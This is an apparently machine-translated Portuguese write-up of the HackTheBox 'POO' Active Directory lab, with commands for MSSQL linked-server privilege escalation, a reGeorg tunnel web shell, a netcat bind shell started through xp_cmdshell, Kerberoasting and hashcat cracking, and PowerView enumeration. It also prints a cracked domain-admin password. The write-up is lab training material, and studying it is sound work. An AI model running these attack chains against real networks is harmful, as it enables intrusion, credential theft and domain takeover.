Neste artigo, analisaremos a passagem não apenas de um carro, mas de todo um mini laboratório do site HackTheBox .Conforme declarado na descrição, o POO foi projetado para testar habilidades em todos os estágios dos ataques em um pequeno ambiente do Active Directory. O objetivo é comprometer um host disponível, aumentar privilégios e, finalmente, comprometer todo o domínio, enquanto coleta 5 sinalizadores.A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem alguma coisa no campo da segurança da informação :)Informações Organizacionais, ,
Telegram . , ,
.
. , - , .
Introdução
Este jogo final consiste em duas máquinas e contém 5 sinalizadores.
A descrição e o endereço do host disponível também são fornecidos.
Vamos começar!Bandeira Recon
Esta máquina possui um endereço IP 10.13.38.11, que eu adiciono ao / etc / hosts.10.13.38.11 poo.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 500 pacotes por segundo.sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.nmap -A poo.htb -p80,1433
Assim, temos IIS e MSSQL. Nesse caso, descobriremos o nome DNS real do domínio e do computador. No servidor web, somos recebidos pela página inicial do IIS.
Vamos examinar os diretórios. Eu uso gobuster para isso. Nos parâmetros, indicamos o número de fluxos 128 (-t), URL (-u), dicionário (-w) e extensões que nos interessam (-x).gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Portanto, temos autenticação HTTP para o diretório / admin, bem como um arquivo de repositório de serviço de área de trabalho disponível .DS_Store. .DS_Store - esses são os arquivos que armazenam as configurações do usuário para a pasta, como uma lista de arquivos, a localização dos ícones e a imagem de fundo selecionada. Esse arquivo pode estar no diretório de servidores da web dos desenvolvedores da web. Assim, obtemos informações sobre o conteúdo do diretório. Você pode usar o rastreador DS_Store para isso .python3 dsstore_crawler.py -i http://poo.htb/
Nós obtemos o conteúdo do diretório A coisa mais interessante aqui é o diretório / dev, do qual podemos ver os arquivos fonte e db em dois ramos. Mas podemos primeiro 6 caracteres do nome dos arquivos e diretórios, se o serviço estiver vulnerável ao nome abreviado do IIS. Para verificar esta vulnerabilidade, use o Scanner de nome abreviado do IIS .
E vamos para um arquivo de texto que começa com "poo_co". Sem saber o que fazer a seguir, simplesmente selecionei todas as palavras que começam com "co" no dicionário de diretório.cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
E itere através do wfuzz.wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
E encontramos a palavra certa! Nós olhamos para este arquivo, salve as credenciais (a julgar pelo parâmetro DBNAME, elas são do MSSQL).
Entregamos a bandeira e avançamos 20%.
Huh flag
Estamos conectados ao MSSQL, eu uso o DBeaver.
Não encontramos nada de interessante nesse banco de dados, vamos criar um Editor SQL e verificar o que os usuários são.SELECT name FROM master..syslogins;
Nós temos dois usuários. Vamos verificar nossos privilégios.SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Portanto, não há privilégios. Vamos ver os servidores relacionados, sobre esta técnica que escrevi em detalhes aqui .SELECT * FROM master..sysservers;
Então, encontramos outro SQL Server. Vamos verificar a execução dos comandos neste servidor usando openquery ().SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'select @@version as version');
E podemos até construir uma árvore de consulta.SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');
O fato é que, quando executamos uma solicitação para um servidor vinculado, a solicitação é executada no contexto de outro usuário! Vamos ver no contexto de qual usuário estamos trabalhando em um servidor vinculado.SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');
Agora vamos ver em que contexto a solicitação do servidor vinculado ao nosso é executada!SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');
Portanto, este é um contexto de DBO que deve ter todos os privilégios. Vamos verificar os privilégios no caso de uma solicitação de um servidor vinculado.SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Como você pode ver, temos todos os privilégios! Vamos criar nosso administrador dessa maneira. Mas eles não deixam passar pelo openquery, vamos fazê-lo através de EXECUTE AT.EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
E agora estamos conectados às credenciais do novo usuário, observamos o novo banco de dados de sinalizadores.
Entregamos esta bandeira e seguimos em frente.
Bandeira de retorno
Obteremos o shell usando o MSSQL, eu uso o mssqlclient do pacote impacket.mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC
Precisamos obter senhas, e a primeira coisa que já conhecemos é o site. Portanto, precisamos de uma configuração do servidor da Web (é impossível lançar um shell conveniente, aparentemente o firewall está funcionando).
Mas o acesso é negado. Embora possamos ler o arquivo no MSSQL, você só precisa saber quais linguagens de programação estão configuradas. E no diretório MSSQL, descobrimos o que é Python.
Em seguida, leia o arquivo web.config, não há problema.EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"
Com as credenciais encontradas, vá para / admin e selecione a bandeira.

Bandeira suave
De fato, existem alguns inconvenientes ao usar um firewall, mas, observando as configurações de rede, percebemos que a punção IPv6 também é usada!
Adicione este endereço ao / etc / hosts.dead:babe::1001 poo6.htb
Vamos verificar o host novamente, mas usando o IPv6.
E através do IPv6, o serviço WinRM está disponível. Conecte-se às credenciais encontradas.
Há uma bandeira na área de trabalho, nós a entregamos.
Bandeira P00ned
Após o reconhecimento do host usando o grão de bico, não encontramos nada de especial. Decidiu-se procurar novamente as credenciais (também escrevi um artigo sobre esse tópico ). Mas não consegui obter todos os SPNs do sistema através do WinRM.setspn.exe -T intranet.poo -Q */*
Vamos executar o comando através do MSSQL.
Dessa maneira, obtemos os SPNs dos usuários p00_hr e p00_adm, o que significa que eles são vulneráveis a ataques como o Kerberoasting. Em resumo, podemos obter hashes de suas senhas.Primeiro, você precisa obter um shell estável em nome do usuário do MSSQL. Porém, como temos acesso limitado, só temos acesso ao host pelas portas 80 e 1433. Mas é possível encapsular o tráfego pela porta 80! Para fazer isso, usamos o seguinte aplicativo . Faça o download do arquivo tunnel.aspx no diretório inicial do servidor Web - C: \ inetpub \ wwwroot \.
Mas quando tentamos acessá-lo, obtemos o erro 404. Isso significa que os arquivos * .aspx não são executados. Para que os arquivos com essas extensões comecem a executar, instale o ASP.NET 4.5 da seguinte maneira.dism /online /enable-feature /all /featurename:IIS-ASPNET45

E agora, ao acessar o tunnel.aspx, obtemos a resposta de que tudo está pronto para funcionar.
Vamos iniciar a parte do cliente do aplicativo, que lidará com a retransmissão de tráfego. Nós redirecionaremos todo o tráfego da porta 5432 para o servidor.python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
E usamos proxychains para enviar tráfego para qualquer aplicativo através do nosso proxy. Inclua esse proxy no arquivo de configuração /etc/proxychains.conf.
Agora faremos o upload do programa netcat para o servidor , com a ajuda do qual criaremos um shell de ligação estável e o script Invoke-Kerberoast , com o qual realizaremos o ataque do Kerberoasting.
Agora, através do MSSQL, iniciamos o ouvinte.xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321
E conecte-se através do nosso proxy.proxychains rlwrap nc poo.htb 4321
E vamos pegar os hashes.. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Em seguida, você precisa classificar esses hashes. Como não havia dados de senha no dicionário rockyou, usei TODOS os dicionários de senhas fornecidos por Seclists. Para pesquisa, usamos hashcat.hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
E encontramos as duas senhas, a primeira no dicionário dutch_passwordlist.txt e a segunda no Keyboard-Combinations.txt.
E, por isso, temos três usuários, acesse o controlador de domínio. Primeiro descobrimos o endereço dele.
Ok, descobrimos o endereço IP do controlador de domínio. Vamos descobrir todos os usuários do domínio, bem como qual deles é o administrador. Para baixar o script para obter informações PowerView.ps1. Em seguida, conecte-se usando evil-winrm, especificando o diretório com o script no parâmetro -s. E, em seguida, basta carregar o script do PowerView.
Agora todas as suas funções estão disponíveis para nós. O usuário p00_adm parece um usuário privilegiado, portanto, trabalharemos em seu contexto. Crie um objeto PSCredential para este usuário.$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Agora todos os comandos do Powershell, onde especificamos Creds, serão executados em nome de p00_adm. Vamos listar os usuários e o atributo AdminCount.Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
E assim, nosso usuário é realmente privilegiado. Vamos dar uma olhada nos grupos em que é composto.Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Afirmamos que o usuário é um administrador de domínio. Isso lhe dá o direito de fazer logon remoto no controlador de domínio. Vamos tentar entrar pelo WinRM usando nosso túnel. Fiquei confuso com os erros gerados pelo reGeorg ao usar o evil-winrm.
Em seguida, usaremos outro script mais fácil para conectar-se ao WinRM. Abra e altere os parâmetros para a conexão.
Estamos tentando nos conectar e estamos no sistema.
Mas não há bandeira. Então olhe para o usuário e verifique as áreas de trabalho.
Na mr3ks, encontramos a bandeira e o laboratório é 100% aprovado.
Isso é tudo. Como comentário, comente se você aprendeu algo novo neste artigo e se foi útil para você.Você pode se juntar a nós no Telegram. Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.